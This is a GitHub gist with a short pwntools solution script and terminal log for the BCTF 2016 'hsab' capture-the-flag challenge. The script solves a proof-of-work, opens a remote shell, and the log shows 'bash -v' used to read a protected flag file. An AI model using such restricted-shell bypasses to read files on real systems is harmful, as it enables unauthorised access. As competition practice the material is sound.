Skip to content

Instantly share code, notes, and snippets.

@icchy
Created March 21, 2016 02:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save icchy/dc4327c3b7e25fd26908 to your computer and use it in GitHub Desktop.
Save icchy/dc4327c3b7e25fd26908 to your computer and use it in GitHub Desktop.
BCTF 2016 hsab 250pts
~/D/c/b/hsab ❯❯❯ python solve.py
[+] Opening connection to 104.199.132.199 on port 2222: Done
[*] Switching to interactive mode
-bash-4.4$ $ bash -v /home/ctf/flag.ray
bash -v /home/ctf/flag.ray
#BCTF{ipreferzshtobash}
-bash-4.4$ server: timeout
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to 104.199.132.199 port 2222
from pwn import *
import commands
# nc 104.199.132.199 2222
HOST = "104.199.132.199"
PORT = 2222
conn = remote(HOST, PORT)
conn.recvuntil("with '")
p = conn.recvuntil("'")[:-1]
conn.recvuntil('zeros.')
s = commands.getoutput('./a.out '+p)
conn.sendline(s)
conn.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment